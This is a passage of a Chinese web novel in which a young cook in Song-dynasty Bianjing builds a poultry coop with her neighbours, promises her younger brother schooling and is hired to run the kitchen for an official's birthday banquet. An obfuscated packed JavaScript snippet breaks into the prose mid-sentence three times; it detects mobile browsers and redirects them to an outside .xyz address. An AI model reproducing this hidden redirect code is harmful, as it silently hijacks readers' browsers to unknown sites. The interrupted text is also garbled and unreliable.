虽然王志环定价贵，但经他们手做成吃食卖出，价格便上涨了一番，再除掉他们的人工费、成本费，平均下来也有薄利可赚。 就向柳金枝微微点了下头。 柳金枝虽然算数没有柳霄精准，但也能大约估个价，眉心便蹙了起来。 其实他们昨晚上能赚这么多，只不过是因为定价比别家稍贵一点，而食摊又是新开的，图新鲜的食客都会来尝尝。 别说柳家食摊，就是其他食摊也必然经历过一开业就客似云来的情况。 但一个食摊要长久的经营下去，看的还不是刚开业几天的营业额，而是季度销售额和年度销售额。 开业红火是常规，就看往后能不能在百姓当中打出口碑。 现代多少饭店，都是死在长期营业惨淡上面的。 而柳金枝并不能确定时间长了，尝过新鲜的食客还愿意为他们的高定价买单。 所以自然要先按照一般的市场价去估算利润，再用这个利润去扣除成本，各类花销一均摊，手头显然已经开始紧张，王志环所叫的价就变得高了。 “东家，我们也是小本生意，您一口价要这么高，我们着实承担不起。” “您瞧瞧，我们还是从杜小哥口中听说您这儿的禽畜养的极好，从不生病。” “东家您也是讲诚信的大方人，这才巴巴地跑来跟您谈生意。” 柳金枝试图跟王志环打感情牌，把价格谈下来。 “您就看在我们是诚心想要的份儿上，给我们一个诚意满满的价。” 柳金枝说话好听，人又漂亮。 美人在交谈方面总是能占些便宜的。 王志环笑着说：“娘子若诚心想要，那我每样再给娘子减五文钱。” 柳金枝还想再杀杀价，王志环赶忙抬手阻止：“五文已是最多，不能再砍了。” 看来美人也只能占到一点小便宜。 柳金枝摸了摸下巴，道：“东家，让我们再想想。” 就把柳霄和杜卫拉到一边嘀咕去了。 “确实有些贵了。”柳霄皱着眉，“阿姐，你怎么想？买还是不买？” “我舍不得银子。”柳金枝有些肉疼。 “但卤味儿卖的很好啊。”杜卫说。 柳金枝忍不住挠挠头，蹲下来冥思苦想。 正好她对着的是个鸡笼，母鸡的脖子一抖一抖地伸出来，豆绿般大小的眼睛瞅着柳金枝，跟她大眼瞪小眼。 柳金枝顺着母鸡一看，看见鸡屁股底下还坐了两颗蛋。 “嘶……” 一时灵光乍现，柳金枝左右一手一个，把柳霄和杜卫薅得和她一起蹲着，三个瞅着鸡笼里的母鸡孵蛋。 “你们说，我们买些母鸡、母鹅来自己孵蛋喂养可不可以？” 柳霄第一时间就是打算盘，道：“可以，成本低，前景好，还可以鸡生蛋，蛋生鸡，是一本万利的买卖。但就是有一点不好，养的时间长，一时半会吃不了。” 柳金枝咬了咬嘴唇，又道：“那这样，我们分层次。先买一批成年鸡鸭做成吃食隔天卖，再买一批小鸡、小鸭喂养，最后买几只母鸡、母鸭去孵蛋。等到成年鸡鸭吃完了，小的就长起来了。小的吃完了，蛋也就孵出来了。” “好办法。”柳霄首先表示赞同，“家里有院子，可以扩充出来做养殖场。但是谁管呢？” “我来。”杜卫积极举手。 他们这几个人里，也就杜卫在养殖场做过一段时间短工，有些许经验。 “我喂过鸡鸭鹅，知道它们的习性，也知道他们生病了该怎么处理。”杜卫有信心，“我虽然不敢保证养的有多好，但能保证不会出大错。” 疑人不用，用人不疑。 既然要省银子，就得大胆一些。 柳金枝当即拍板。 好！那就买小鸡小鸭，他们回家自己开农场！ 21. 小型农场 柳金枝在王志环手中一共订购了四批小鸡、小鸭，由于装点需要时间，柳金枝就先要了一批成年鸡鸭回家。 不多，一批也就五六只。 又因为王志环看在他们是新手的份儿上，额外送了他们几个笼子，所以他们暂时不用烦恼为这批鸡鸭垒窝的事情。 但也只是暂时，等王志环那边装点完毕，小鸡、小鸭送来的时候，他们就有的忙了。 为了避免麻烦，他们最好是在时间充裕的情况下，提前在院子里把窝垒起来。 大概是柳金枝的高粱酒存钱罐起了激励人心的作用，一家人干劲十足，一听到需要垒窝，都不用柳金枝吩咐，主动分好了各人的活计。 柳金枝和月牙负责选址，再把积雪和杂草之类的东西清理出来，作为他们小小农场的起始点。 柳霄和杜卫是男子，力气大，则负责去外头拉砖头，先拉满三车堆在院子里，再一块块捡过来垒窝。 于是柳家门户大开，四个人在门首进进出出，忙的不亦乐乎。 一条胡同住着的人家大多是胳膊挤着胳膊，脚跟碰着脚跟，更别提是汴京城这种寸土寸金的地方。 柳家的热闹自然也引起了邻居的注意。 王婶子还有此前几个看着柳金枝长大的婶子，都走出来，倚在门首瞧新鲜。 不过看了一会儿，见柳金枝他们四个半大点的少男、少女拉砖头拉得满头大汗，腰酸背痛，几个婶子也主动撸起袖子，一起帮忙干起来。 “婶子，多谢你们了。”柳金枝累得直喘气。 这垒鸡窝比她做饭还累。 王婶子擦了一把汗，爽朗一笑，道：“嗐，这有什么？都说远亲不如近邻，咱们能帮肯定都来帮。不然叫我们干看着你们几个小孩子干活，我们心里哪里过得去？” 柳金枝忍不住笑了笑。 她过了今年的生辰就十七岁了，按照古代的年龄算，其实她这般大小的已经算是大姑娘，都可以去议亲说媒了。 只不过这几个婶子都是看着柳金枝从小长大的，所以在她们眼里，还是把柳金枝当小孩儿看，更别提比柳金枝更小的柳霄、杜卫和月牙了。 这应该就是独属于长辈们的“他还是个孩子，他能懂什么”滤镜了。 小半个时辰后，砖块全都搬完。 几个人累得头上冒热气，脸颊红扑扑的。 柳金枝招呼大家围拢在一起休息喝茶，又去屋里头端出来个不用的铁锅，扔进去几根粗粗的木头枝子烧起火来。 “来来来，大家伙互相把身上的碎雪打一打，再烤一烤，免得等会儿雪化进了衣裳里。”柳金枝说着，揪来月牙，将人从上到下一顿拍。 柳霄则和杜卫两个互相正面、反面拍雪。 几个婶子也相互帮忙。 没一会儿，柳家屋檐下的地面全是踩碎，或化尽了的雪屑。 期间几粒雪屑飞溅，一不小心摔进月牙的衣领里，把个小姑娘冻的又笑又叫：“阿姐阿姐，快帮我掏出来，凉！凉！” 柳金枝笑着伸手刮了一下月牙的鼻子，道：“小鬼头，只管使唤你阿姐。就这么点雪，还没等阿姐把它掏出来，它自个儿就化了。” “可是真的很凉嘛，不然阿姐也试试。” 月牙语气撒娇，然后迈开小短腿哼哧哼哧地跑到外头雪地里，又重新捧了一手心雪回来，小心贴在柳金枝的手边让她感受温度。 柳霄皱着眉去抱月牙，一边蹲下，一边很是老成的说道：“月牙乖，别去闹阿姐，让阿姐休息一下。” 谁知他才蹲下来，月牙反手就将雪块往他领子里扣去。 冻得柳霄嚯的一下恨不得跳五尺高，尖叫道：“啊啊啊！快帮我掏出来！” 旁边的杜卫憋着笑，赶忙上前帮他抖衣裳。 月牙这么一下，倒是让柳霄失了稳重，平白多了些活泼的少年气。 在座的几个婶子见了，都忍不住哈哈大笑起来。 正好此时天光正好，无风也无雨，枯枝立在雪中，冬风吹来，摇动枝桠，疏影浅落之间，柳家市井宅院一派欢声笑语。 王婶子啜了口热茶，舒服的把眼睛都眯了起来，笑道：“金枝，我看你们这样子，是想垒个鸡窝吧？” “是啊，外面买太贵，不如自己养，后面还要到一批小鸡、小鸭呢。”柳金枝笑着回答。 “欸，你既然要垒鸡窝，怎得不找你钱婶子帮忙？”王婶子笑着拉过一个胖乎乎妇人的手，“你还不知道吧？你钱婶子有一双巧手！当年她爹就是咱们胡同里头有名的工匠，手艺都传给了她呢。” 钱婶子长得白净，胖乎乎的，像个松软的馒头，声音也软软的，不好意思地说：“哪儿有你说的这么厉害？我其实也只会一点而已。只要金枝不嫌弃，我就来帮忙。” “婶子，我哪里敢嫌弃您？”柳金枝连忙接话，笑道，“您只管做，要什么材料就跟我说一声。到时候成了，我必然亲自备一桌酒席与您浇浇手。” 钱婶子的脾气也很软和，温温柔柔地说：“砖头是够了，但还差一些泥浆。” “这个没问题，包在我身上。”杜卫站出来，摩拳擦掌，“我知道哪儿有泥浆。” 柳霄道：“我跟你一块儿去吧，那泥浆可沉了。” 杜卫却摆摆手，颇有信心道：“我还是有把子力气的，一个人挑得动。” 说完一溜烟儿就往外跑，不多时，就拿扁担晃晃悠悠地挑了两桶泥浆回来。 咚—— 杜卫将泥浆摆在院子中，揉了揉发酸的肩膀，笑道：“齐备了，婶子，还要什么？” 钱婶子笑着摇摇头，细声细气地说：“这些就够了。” 然后站起身，慢条斯理地把袖子卷起来，当着众人的面走上前，对着泥浆桶比划了一下。 杜卫刚想让钱婶子退后，自己把泥浆桶挑过去。 却只见嚯一下！ 钱婶子单手提起了一整桶满满当当的泥浆，十分轻松地走到清扫完毕的院子一角。 杜卫霎时间瞪圆了眼睛，柳金枝等人也满是震惊。 这个力气也太牛了吧！ “钱婶子小时候常帮她爹扛石料，这力气大着咧！一巴掌下去，就是石墩子都得给她裂个口子出来。”王婶子笑着说，又打趣了一句，“要不她男人能有这么老实？成亲二十多年了，愣是不进瓦子一步。” 旁边的婶子笑着接话：“就是想去，也得掂量着自个儿的身子骨没有石墩子硬朗。” 言罢，几个妇人哈哈大笑。 千种万种御夫之道，确实都不如钱婶子这一巴掌来的牢靠。 柳金枝看向钱婶子。 她却只单手扛起数十块板砖，回以温柔一笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485201|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 高，实在是高。 尔后，钱婶子帮忙打地基、码砖石、垒鸡窝，柳霄、杜卫两个男子就在一边打下手。 今日既然几位婶子来帮了忙，柳金枝就该做东家，治一桌酒席来与众位婶子浇手。 不过几个婶子既然都把柳金枝当晚辈看，自然也不会叫她一个人白忙活。 于是择菜的择菜，淘米的淘米，看火的看火，每个人都有事做，除了月牙，她年岁太小，还是只管吃比较好。 都说男人扎堆的地方，张口闭口便是国家大事，朝代历史，再不济，也要整点人文小说。 好在几位婶子都很是接地气，不聊这些，只谈些寻常街坊琐事。 “对了，你们知道吗？玉堂巷那边有间宅子租出去了，说是官宦人家的家眷要住进去。”王婶子甩着手上的水珠说。 “哟，什么时候搬来？” “不晓得，是位管家嬷嬷亲自出来办的，说是春闱快到了，府上的姑爷要带着他家小姐从秦淮回汴京应考。快的话……下个月月初就来了吧。” “难怪呢，为了考试，能从秦淮到汴京来。唉，也不知道这回咱们胡同能不能出个秀才。” “我看悬。我记着胡同口史家的小孙子三岁就会背诗了，但前年他满了十五去考试，还不是什么都没捞到？听说在家哭了一天。” “马行街牛五郎也是没考上，都考了快十五年了。他家里人说今年要是再考不上，就别考了，留着银子做点小生意算了。” “诶，对了，金枝。”王婶子将目光转向柳金枝，“你家霄哥儿今年考吗？” 柳金枝一愣，道：“春闱？” “是啊。”王婶子择了一把菜，“霄哥儿是我看着长大的，人很聪明，记性又好。当年你爹娘就想供他去科考，只是读了几年，你爹娘就没了。” “后面他跟着你那个黑心娘舅，你娘舅不许他念书，说糟蹋银子，只把人拴在家里头帮铺子切药材、晒药材，当小奴使。” “但我知道，霄哥儿心里一直没忘读书这事儿。好几次我去私塾接我家孙儿回来，都能瞧见霄哥儿一个人在私塾外头踮着脚偷看，可又不敢进去。就蹲在外头柳树下，用树枝练字。” “唉，那时候苦的很嘞！” “好在你现在回来了，也把霄哥儿接到身边养着，那你还继续供他不？” 柳金枝心里顿时揪了一下。 她知道柳霄和月牙在邓山身边过了许多苦日子，但再听到旁人讲起来的时候，还是忍不住为他们感到酸楚。 便道：“我回头就去问问他。” 柳霄聪明，精通算术，记性又不差，说不定将来真的能博个功名回来。 可饶是柳金枝愿意砸锅卖铁送柳霄去念书，还是得面对两大难题。 第一是现在食摊的生意刚刚起步，却钱又缺人手，若是柳霄一下子离开，她怕是忙不过来。 生意若出了问题，后面柳霄即使入了学，束脩也是难以为继。 第二是名师难请。 古代请老师是很难的，毕竟有真学问的大儒可遇不可求，而能把手下弟子教成材的大儒就更少了。 对于自己这个弟弟，柳金枝自然是想为他请个最好的老师。 若是有个靠谱的人推荐就好了…… 忽然间，柳金枝想到了项志轩。 22. 来大订单 钱婶子动手能力强，不过一个上午，就把鸡窝垒出了一个具体的形状，再盖个顶就可以完工。 柳金枝高兴地在院子里摆了个大桌，众人围着一块吃吃笑笑。 席间，柳金枝就悄悄拉着柳霄到一边。 “霄哥儿，自我回来之后，咱们一家都在忙活生计，我却没问过你课业上的事情，是我这个做阿姐的疏忽了。”柳金枝歉声说。 柳霄抿了抿唇，小心问道：“阿姐，你想说什么？是有人跟你说了什么吗？” “王婶子说她曾经在私塾外头见过你。”柳金枝顾及少年的自尊心，并没有说明了，只摸了摸他的头，“你若是还想去念书，继续考科举，阿姐供你。” 柳霄一怔。 他承认，在那些被逼无奈的日子里，他蹲在柳树下，听着私塾里传来的朗朗读书声，看着私塾中那些摇头念书的学子，心中羡慕、嫉妒、委屈又难过。 明明他与私塾大门只有一步之遥，却苦于缺少束脩，让简单的一步都成为他不可逾越的天堑。 他的所有眼泪和痛苦，无法与年仅两岁的月牙诉说，只能全部咽在肚子里。 白天在被邓山鞭打斥骂的时候，他甚至没由来的恨起了柳金枝。 恨柳金枝为什么不肯带他和月牙走。 但回到药材铺，缩在那方狭窄冰冷又闷不透气的楼梯下隔间，小心哄着饿极了，而哭闹不止的月牙睡觉时，他才明白，其实他恨的不是柳金枝没带走他，而是恨他委屈难过的时候，没有一个温暖的怀抱能暂时圈住他。 他思念柳金枝，思念那个能对他温柔微笑的阿姐。 只是思念太痛苦，他才以为那是恨。 此时感受着头顶传来的温热，柳霄终于没能忍住，红着眼圈说：“想，阿姐，我一直都好想。” 可是不等柳金枝回答，他又擦着眼眶，自己反驳了自己：“不过我现在不想了。” “你别骗我，是不是又想给阿姐省钱？”柳金枝看着柳霄的眼睛。 自从上次柳霄想省钱，而拒绝她买冬衣，打算硬生生扛过整个冬天的时候，她就知道自己这个弟弟是个肯委屈自己的孩子。 这样的性格会使得柳霄隐瞒自己的欲望，将所有需求都退让到他人之后。 如果没有一个懂他的人，这孩子怕是还要受不少委屈。 果然，柳金枝说破柳霄的想法后，柳霄抿了抿唇，低声说：“能省一点是一点，家里本来就不富裕。” “但咱们现在不正在存钱吗？阿姐又年轻，还怕赚不到你的束脩？” 柳金枝对柳霄伸出手，十分认真地说：“霄哥儿，吃苦的日子已经过去了，你不需要再牺牲自己。跟阿姐拉钩盖章，等阿姐攒够五两银子，无论我们的食摊怎样，你都去重新念书，好吗？” 柳霄犹豫着没动手。 柳金枝干脆直接拉过他的手，强硬盖章，随后站起身笑道：“你说过的，阿姐只要不再离开你们，你就信我，什么都听我的。所以这一回，阿姐就替你做主了。” 冬日暖阳撒在柳金枝的脸上，柔和了她的脸部线条，仿佛给她镀上了一层金光。 而她的手还拉着柳霄的手。 柳霄从一开始的松怔，到缓慢而坚定地反握住她的手。 “其实……阿姐就算再离开了，我也会听阿姐的。” “因为阿姐永远都是我的阿姐。” 柳霄抱住了她，神情满足而平和。 就好似当初跟在柳金枝屁股后头，阿姐阿姐叫个不停的孩子，现在重新回来了。 冬风轻拂，枝影摇晃，金乌西移，将每个人的影子向东拉长。 鸡窝封好了顶，钱婶子谢绝了柳金枝递来的铜子，与来柳家门首唤她归家的丈夫一同离去。 王婶子与其他两位婶子也起身告辞。 时间不早，她们也该回家预备一家人的晡食了。 小院子里一下子空落起来，只剩一桌子残羹冷炙。 一家三口与杜卫一同收拾。 月牙还小，以前有柳霄护着，现在又有柳金枝在身边，因此还未失孩童的天真本色。 洗着洗着碗碟，便忍不住玩起水来，将手腕处的衣袖都弄湿了。 杜卫见状，放下手中扫把走过去，先把月牙抱起来放在一边，替她细细地挽起腕上衣袖，才转过身帮她把碗洗了。 “谢谢杜哥哥！” 月牙笑着，小心从自己怀里取出一方小帕子，打开，里头躺着两块甜糕。 “呐，这是甜糕，我请杜哥哥吃。” 月牙掰下一块儿碎甜糕，踮着脚喂给杜卫。 杜卫连忙张口去接，不好意思地笑说：“谢谢月牙，糕很好吃。” 月牙嘻嘻一笑，就蹲在盆边接杜卫手中洗干净的盘子，一双笑眼亮晶晶的，像是春日里的新月。 家中多了一个少年，月牙就像多了一个哥哥一样。 柳金枝笑着收回视线，转身走到膳房，撸起袖子，操起菜刀。 好，为了她开大酒楼的梦想，为了霄哥儿能有束脩科考。 努力做菜！ 卤狮头鹅、卤鸡、卤鸭，再来一盆白菜猪肉馅儿，一盆野山蕈冬笋馅儿……还有馉饳、馄饨、菜包、醒好的面团。 在确认过锅碗瓢盆、燎子、炉子以及各类调料瓶都齐全后，柳金枝把这些东西绑在驴车上，叫上弟妹还有杜卫，一块儿出发去了夜市。 汴京城的繁华夜市从晚上六点就开始了。 柳金枝到时，旁边卖焦碱水锥的胖婶子已经现做了好几个，卖杂嚼的清瘦男人也早早摆上了卖品，开始吆喝食客。 柳家也不敢耽误，连忙把东西都摆出来。 月牙照旧站在食摊前高声吆喝：“看一看咯，看一看咯，柳氏食摊的卤味又上新咯！” 前一天晚上没买到卤味的食客们，听到吆喝声后，很快就围了过来。 不过因为夜市还没到最高潮时，这些客人也不多，零星两三个，零零散散坐了两桌。 杜卫看生意不忙，就挑着食篮道：“东家阿姐，昨个儿我送了粥去，那两位娘子说他家大姐用膳很慢，叫我今天再去拿砂锅。我现在就去吧。” 就是城北钦天监司正一家。 柳金枝本来还在想，那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490456|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位大姐喜不喜欢她做的老菜脯砂锅粥？ 若是不喜欢，杜卫这一去不是要挨一顿臭骂？ 也就嘱咐道：“去吧，但说话要小心些，他家不是什么好相与的，若是见他们脸色不对，你就赶紧避开，不要与他家起口角冲突。” “我晓得的。”杜卫一笑，“他家若是骂我，我就当没听到。耳边吹过一阵臭风，熏一熏就过去了。” 柳金枝见杜卫机灵，也就安心让他去了。 剩下的柳霄补上杜卫的位置，帮着月牙一起收拾碗碟。 等到月亮高悬的时候，夜色深沉，夜市也迎来了人潮汹涌的时刻。 一波又一波的食客涌向柳氏食摊，要馄饨的，要蝌蚪粉的，要卤味的，各自要求都有。 柳金枝三人忙活不开，脚不沾地，好几次都险些撞在一起。 可这时还不见杜卫回来。 柳金枝擦了把汗，一边应付食客，一边又时不时往远处观望。 “柳娘子，你瞧什么呢？”一位食客笑道，“给我盛碗蝌蚪粉吧。” 柳金枝只好收回视线，道：“好嘞，您稍等。” 手脚利落地把面糊压出来，淋上料汁递给食客，耳边却又传来一声：“柳娘子，我有一桩生意要与你做。” 柳金枝还以为又是哪位食客要吃食，口中连连答应“好说好说”，一面抬起头来。 只见面前站着的却是昨个儿夜市里见到过的傲气少女，旁边正站着抱起砂锅的杜卫。 柳金枝疑惑道：“这是？” 今日再见，比起昨日，少女的态度好了不少，先是对着柳金枝款款一福身，眉眼带笑，道：“柳娘子，昨个儿我家大姐用了你煲的粥，说吃着甚是爽利。正巧昨夜我家夫人来看望大姐，也陪着用了些，也觉得娘子手艺绝佳。大姐一时高兴，就向夫人求了个恩典。” “什么恩典？” 少女递过来一封请柬。 柳金枝一边拆开细看，一边听少女说： “我家老太爷是庚戌年生人，到今年二月初正好做六十大寿。” “老爷的意思是想要大办一场，为邻里街坊做三天三夜流水席。家里头在做一场宴席，只请亲近好友。” “这做流水席的膳工，府上已经找到了人选，家中宴席却还不知选谁好。夫人本想去请几家酒楼的掌勺膳工，但我家大姐向夫人求了恩典，想请娘子您去主持四司六局。” “夫人向来最疼大姐，也就答应下来。又知道娘子手边还有个食摊，停工来府内帮忙一天也有损失。” “所以夫人愿意在聘请膳工的基础薪资上，再给您加两钱，以做弥补之费。” 基础薪资，还额外加两钱？！ 被一笔大订单猛然砸在头上，柳金枝还有些发懵，转过头问柳霄，道：“霄哥儿，你知道主持四司六局一日的工费是多少吗？” 柳霄回过神来，连忙操起算盘。 片刻后，他缓缓道：“至少十贯。” 一贯，一千文。 十贯的话…… 柳金枝两眼发亮，难掩兴奋：“霄哥儿，你可以科举啦！” 23. 四司六局 四司六局的承办者被宋朝人尊称为“局长”。 虽然放到现代来说，所谓“局长”可能就是村庄里头，带着一整套炊具物什，去承包人家红白宴席的大厨子，只管做菜，其余不论。 但是在宋朝，“局长”能发挥很大的作用。 宋朝的四司六局单拎出来能够成立一整个行业。 而只管行业之下，这六局又可以细分为“果子局”，即专门承包宴席上的果盘。“蜜饯局”，即专门承包宴席上的蜜饯。“菜蔬局”，专门承办荤素大菜。 “油烛局”就是专管晚上宴席的照明，和冬日宴席的取暖。“香药局”则是专管收拾香炉，和为喝酒喝过头的客人提供醒酒药。 另外管插画、挂画以及擦桌子、抹板凳等清洁和装饰工作的被称为“排办局”。 六局之外就是四司：厨司、茶酒司、账设司和台盘司。 只通过名称，也能大概猜出这几司分管什么。 一般来说，四司六局都是宫里头才能用得上的。 但宋朝士大夫阶级格外受优待，再加上宋朝很乐意给文人补贴，所以到了宋朝后期，只要是能出得起价钱的人家，都可以在家中摆起四司六局。 有了这些人的帮忙，主家确实能减少许多承办宴席的麻烦。 只不过经过百年光阴过迁，到了现代，四司六局的习俗被人逐渐简化，以至于遗忘。 现在还能存留的，大概就是承办后厨配菜和烹饪事宜的“厨司”，以及现代农村红白宴席里头最常见的，管请客送客，登记亲友人情往来，和点歌台人情的“茶酒司”了。 值得一提的是，这四司六局，每一司，每一局，都各有一个主持人，并非是一人统筹管理全部。 柳霄所说的“至少十贯钱”，其实也是这整个四司六局共同分摊下来的钱。 就是钦天监司正是个肥差，家里人出手阔绰些，又想大操大办，摆大排场，所以请四司六局的银子能出到二十贯。 平分到这十个主持人身上，就是每个两贯钱，也就是两千文。 但柳金枝已经满足了。 要知道宋朝的县令一年的俸禄也才十贯呐。 于是立马答应下来，又与少女确定了具体过府的时候，即是一月末，二月初。 司□□上先付定金，大寿做完再付剩下的一半。 柳金枝忙不迭地点头答应，态度恭敬有礼地送走了少女。 柳霄、月牙和杜卫三个，也都跟着有样学样地对着少女行礼。 等到少女的背影再也看不见了，几个人才互相对视一眼，嘴角再也压抑不住地笑作一团。 旁边的食贩们自然也听见了这一喜事，除却嫉妒、羡慕，剩下的便全是恭喜： “恭喜恭喜，娘子这回可是接了笔大生意。” “娘子好手艺，这生意怕是要越做越红火了。” “司正家的局长，说出去便是金字招牌啊。” …… 御街上的食摊本就是一个挨着一个，柳氏食摊接了“司正家四司六局的邀请”一事，一传十、十传百，很快就传的众人皆知。 连街对面的蔡老都知晓了，还特意走过街来与柳金枝贺喜，并且又给了柳金枝一个红封。 柳金枝连忙推辞，道：“蔡老，这可使不得。” “娘子收下吧。这红封一是祝贺娘子生意红火，二是谢谢娘子那天做的一尾鱼，解了老朽的难。”蔡老笑道。 柳金枝道：“我虽为蔡老做了鱼，可您也早就谢过了，怎得又封红利给我？” “我早该跟娘子说的，却因为这两日生意忙，一直没来得及开口。” 蔡老笑道：“柴相公的夫人十分爱娘子做的鱼，她孕中一直不思饮食，那天倒是破例多吃了半碗红梗米。柴相公一时高兴，就封了一钱银子给我。按理说，应有一半是娘子的，我这便封来了。” 想来这位柴相公是格外疼爱夫人了，就连夫人多吃了半碗米都高兴成这样。 柳金枝就把红封收下，福身笑道：“那我就不推辞了。” 了了心事，蔡老才回了饭馆。 一钱银子的一半便是五十文，加上今日做夜市赚得的钱，竟然五百文有余。 一家人回家之后，照旧排除下一月的成本，将净赚所得尽数放入了高粱酒坛子中。 柳霄见一日夜市下来赚的不少，就道：“阿姐，不如你教我做些简易菜式吧。等阿姐去司正家里主持四司六局，我就可以帮阿姐看摊子了。” 能多赚一点是一点，谁能嫌银子多呢？ 其实柳金枝的想法与柳霄不谋而合。 毕竟现在才一月中旬，离约定的二月初还有半月时间有余，柳霄又不笨，努力学的话，蝌蚪粉、馄饨、馉饳一类的吃食肯定能学会。 也就欣然答应：“好。” 于是半月内，一家人就在安安分分做夜市，勤勤恳恳学手艺的时光中度过了。 直到约定那天，司□□派了一位丫头来接引柳金枝进府。 都说佛靠金装，人靠衣装，今天好歹是要外出见大客户，穿着不可再像以前做夜市一样随意。 于是柳金枝在衣箱中翻找一通，翻出来一件以往在秦淮时，原主省吃俭用买下的衣着，小心地穿在身上。 上衣穿的是天青色折枝芙蓉花罗上襦，外搭一件茜红色素绢衬衣，套一条茜红色印花纱百迭裙，外头再批一件白色印花纱披帛。 将一头如瀑青丝松松挽起，于顶上结成一个双髻。因为没有多余的首饰，发髻上就只插了一根素木簪子。 却因为柳金枝容貌清丽温婉，倒显出一种清水出芙蓉，天然去雕饰的美感。 叫月牙几个都看得愣住了。 柳霄回过神来，有些遗憾道：“若阿姐也能戴上那些金钗银簪珠玉步摇，就算是天下的仙女下凡也比不过阿姐的颜色。” 但是现在那头青丝上插着的，仅仅是一根木簪子。 就是平民人家都有两支银首饰呢。 阿姐却没有。 柳霄眼神中划过一丝心疼。 柳金枝却笑道：“我的天爷啊，今日只是去人家司□□才穿的讲究些，若叫我日日这般穿着，炒菜剁肉时几多不方便，可要累煞人了。” 正说着，司□□来的小丫头探头进来问：“柳娘子可好了？莫误了好时辰。” “诶，好了，走吧。” 柳金枝应了声，告别弟妹并杜卫三人，随着小丫头坐着驴车往城北司□□去了。 都说城南贱而城北贵。 司□□坐落在城南，就足可见其底蕴之厚。 更别提柳金枝到时，抬眸一看，就见一座恢宏宅院静静矗立在街道旁，门口两个硕大威武的石狮子瞪圆了眼睛，气势不凡。 那朱红色镶嵌九派金珠的木质大门前，分左右站立着两名门童，每个都眼观鼻，鼻观心，谨慎的紧。 但此处大门紧闭，只有一处侧门开着。 只要是有人往来，都是从侧门进出。 柳金枝和小丫头也是从侧门进。 小丫头在前头引路，走过几条回廊，又拐过几处假山，经过一座冰雪初融的庭院，才到了司□□的后院。 而此时，后院已经站了九位中年男女。 男的皆是穿一身或浅灰，或白，或浅蓝的棉布襽杉，头戴一顶黑纱东坡帽，脚蹬长靴。 女的则和柳金枝一般打扮，只是都是梳作妇人发髻，戴有竹编刷漆的轻巧团冠，发髻间或插戴有玉梳，和珍珠点缀的发饰。 比起柳金枝的朴素和年轻，这些人倒更像是富贵人家请来主持大局的局长、司长。 因此，当柳金枝在人群中站定时，身上顿时落了不少目光。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494667|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 有个中年刻薄妇人忍不住嘀咕了一句：“哪有年轻娘子来做膳的？还生的如此艳丽，怕不是与这主家有些首尾吧。” 旁边立即有人拉她，小声道：“钱娘子慎言，听说这位娘子是司正家的大姐亲自保举的。再怎么说，人家清清白白的大姐怎得都不会做牵头，当马百六。” 钱娘子一听，居然还是个上头有关系的，顿时闭了嘴。 柳金枝顿时仰首挺胸，把个底气表现的更足。 她也算是有大人物保举的。 上头有人！ 这气势不能输。 柳金枝清咳两声，端端正正对着最前头的一个嬷嬷福身，字正腔圆道：“奴唤柳金枝，是厨司司长。” 嬷嬷见她不卑不亢，笑着点点头，道：“最后一位柳娘子也来了，咱们这四司六局也就齐了。” 尔后一挥手，自有十个小丫头捧着一册单子递给每个局长、司长。 茶酒司拿到的单子是司□□夫人拟定的，要邀请过府一叙的宾客名单。 排办局拿到的单子是司□□府内，大小摆件、挂画、花瓶等等摆件的名册。 柳金枝作为厨司司长，拿到的自然是司□□夫人拟定的菜单，以及府内众人和过府宾客们的忌口。 她只是展开来粗略看了一眼，就被上头密密麻麻的小字给震的头皮发麻。 简直是条条框框，事无巨细。 最细致的，甚至能精准到某一位大人喜好的是中辣，还是特辣。 难怪做四司六局赚钱多，原来都是辛苦钱啊。 “诸位都是夫人定下请来的局长、司长，专负责咱们府内寿宴的筹办。有些个是早年来做过的，还有些个是头一回，所以老奴这会子就多说两句。” “如今咱们府里头管事的是夫人，她爱奢华，所以你们办事都不要存心省钱。就比如排办局的，都挑拣些富贵的摆件出来待客，不够的就支了银子去买，万不可拣些次货出来，丢了司□□的脸。” “又说厨司也是一样，无论什么菜，食材都要挑拣又贵又好的来。银子不够了，同样来支取。只要将菜做的漂亮，就是花上十几二十贯也不打紧。” 又抬手叫出来五六十个丫头。 “这六十个丫头分做十班，供各位局长、司长们支使。若她们有和你们顶了嘴的、偷了懒的，你们也别管她们是有脸的，还是没脸的，一律告诉老奴，老奴按规矩清白处置。” 这个嬷嬷训话的时候，整个后院里头鸦雀无声，落针可闻，可见这个嬷嬷平日里积威甚重。 柳金枝耐心听完后，才抬头去看被分配给她的六个丫头。 从十岁到十六岁的都有。 但是年纪太小的，柳金枝也不能指望她干什么重活。 便又将这六个丫头分作三班。 指着十岁的两个小丫头说：“你们两个专管洗菜，摘菜，其他的不用管。” 